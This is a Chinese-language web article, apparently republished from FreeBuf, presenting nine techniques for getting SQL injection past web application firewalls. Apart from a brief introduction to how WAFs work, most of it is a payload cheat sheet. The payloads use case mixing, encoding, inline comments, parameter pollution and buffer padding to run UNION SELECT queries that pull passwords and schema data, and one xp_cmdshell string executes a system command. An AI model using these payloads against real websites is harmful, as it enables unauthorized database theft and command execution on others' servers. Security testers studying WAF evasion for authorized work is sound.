SQL注入 | 9种绕过Web应用程序防火墙的方式

安全 应用安全
WAF区别于常规防火墙,因为WAF能够过滤特定Web应用程序的内容,而常规防火墙充当的则是服务器之间的安全门。通过检查HTTP流量,它可以防止源自Web应用安全漏洞的攻击,如SQL注入,XSS,文件包含和安全配置错误。

Web应用程序防火墙(WAF)的主要作用是过滤,监控和阻止各类进出Web应用程序的HTTP流量。WAF区别于常规防火墙,因为WAF能够过滤特定Web应用程序的内容,而常规防火墙充当的则是服务器之间的安全门。通过检查HTTP流量,它可以防止源自Web应用安全漏洞的攻击,如SQL注入XSS文件包含和安全配置错误。

[[222000]]

WAF是如何工作的?

  • 协议异常检测:拒绝不符合HTTP标准的请求
  • 增强的输入验证:代理和服务器端验证,而不仅仅是客户端验证
  • 白名单和黑名单
  • 基于规则和基于异常的保护:基于规则的更依赖黑名单机制,基于异常则更灵活
  • 状态管理:关注会话保护还有:Cookie保护,反入侵规避技术,响应监控和信息披露保护。

如何绕过WAF?

1. 当我们在目标URL进行SQL注入测试时,可以通过修改注入语句中字母的大小写来触发WAF保护情况。如果WAF使用区分大小写的黑名单,则更改大小写可能会帮我们成功绕过WAF的过滤。

http://target.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4

2. 关键字替换(在关键字中间可插入将会被WAF过滤的字符) – 例如SELECT可插入变成SEL

http://target.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4

3. 编码

+ URL encode

  1. page.php?id=1%252f%252a*/UNION%252f%252a /SELECT 

+Hex encode

  1. target.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4…  
  2.    SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61)) 

+Unicode encode

  1. ?id=10%D6‘%20AND%2201=2%23     
  2.    SELECT 'Ä'='A'; #1 

4. 使用注释

在攻击字符串中插入注释。例如,/*!SELECT*/ 这样WAF可能就会忽略该字符串,但它仍会被传递给目标应用程序并交由mysql数据库处理。

  1. index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4      
  2.    'union%a0select pass from users#  
  3. index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3   
  4.    ?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4… 

5. 某些函数或命令,因为WAF的过滤机制导致我们无法使用。那么,我们也可以尝试用一些等价函数来替代它们。

  1. hex()、bin() ==> ascii()   
  2. sleep() ==>benchmark()   
  3. concat_ws()==>group_concat() 
  4.  substr((select 'password'),1,1) = 0x70   
  5.    strcmp(left('password',1), 0x69) = 1   
  6.      strcmp(left('password',1), 0x70) = 0   
  7.    strcmp(left('password',1), 0x71) = -1 
  8. mid()、substr() ==> substring()  
  9. @@user ==> user()  
  10. @@datadir ==> datadir() 

6. 使用特殊符号

这里我把非字母数字的字符都规在了特殊符号一类,特殊符号有特殊的含义和用法。

  1. + ` symbol: select `version()`; 
  2. + +- :select+id-1+1.from users; 
  3. + @:select@^1.from users; 
  4. +Mysql function() as xxx 
  5. +`、~、!、@、%、()、[]、.、-、+ 、|、%00 

示例

  1. ‘se’+’lec’+’t’   
  2.       %S%E%L%E%C%T 1   
  3.       1.aspx?id=1;EXEC(‘ma’+'ster..x’+'p_cm’+'dsh’+'ell ”net user”’)  
  4. ' or --+2=- -!!!'2   
  5.      id=1+(UnI)(oN)+(SeL)(EcT) 

7. HTTP参数控制

通过提供多个参数=相同名称的值集来混淆WAF。例如 http://example.com?id=1&?id=’ or ‘1’=’1′ — ‘在某些情况下(例如使用Apache/PHP),应用程序将仅解析最后(第二个) id= 而WAF只解析第一个。在应用程序看来这似乎是一个合法的请求,因此应用程序会接收并处理这些恶意输入。如今,大多数的WAF都不会受到HTTP参数污染(HPP)的影响,但仍然值得一试。

+ HPP(HTTP Parameter Polution))

  1. /?id=1;select+1,2,3+from+users+where+id=1—   
  2.    /?id=1;select+1&id=2,3+from+users+where+id=1—   
  3.    /?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users 

HPP又称做重复参数污染,最简单的就是?uid=1&uid=2&uid=3,对于这种情况,不同的Web服务器处理方式如下:

+HPF (HTTP Parameter Fragment)

这种方法是HTTP分割注入,同CRLF有相似之处(使用控制字符%0a、%0d等执行换行)

  1. /?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--   
  2.   select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users— 

+HPC (HTTP Parameter Contamination)

RFC2396定义了以下字符:

  1. Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' () 
  2. Reserved : ; / ? : @ & = + $ , 
  3. Unwise : { } | \ ^ [ ] ` 

不同的Web服务器处理处理构造得特殊请求时有不同的逻辑:

以魔术字符%为例,Asp/Asp.net会受到影响

8. 缓冲区溢出

WAF和其他所有的应用程序一样也存在着各种缺陷和漏洞。如果出现缓冲区溢出的情况,那么WAF可能就会崩溃,即使不能代码执行那也会使WAF无法正常运行。这样,WAF的安全防护自然也就被瓦解了。

  1. ?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 

9. 整合绕过

当使用单一的方式无法绕过时,我们则可以灵活的将多种方式结合在一起尝试。

  1. target.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4…   
  2. id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()– -   
  3. ?id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e-- 
责任编辑:赵宁宁 来源: FreeBuf
相关推荐

2011-03-25 11:18:51

2011-03-23 09:31:46

2023-10-24 15:43:07

2011-09-10 20:33:58

Web应用防火墙 PC规则遵从源代码

2010-10-25 12:07:51

2020-11-17 19:19:20

MacOS苹果防火墙

2020-05-28 09:51:11

Web安全WAF漏洞

2010-05-24 17:49:56

2012-11-11 14:33:53

2010-07-07 20:06:53

2010-07-12 11:33:52

2021-06-25 18:35:30

Web应用防火墙

2010-08-30 10:18:24

2011-03-25 11:06:46

2011-05-10 09:17:01

2011-02-15 18:38:49

2011-02-17 18:30:25

2012-08-08 17:41:49

防火墙防火墙规则应用程序签名

2010-07-12 11:41:55

2018-12-13 11:10:21

OpenSnitchLinux防火墙
点赞
收藏

51CTO技术栈公众号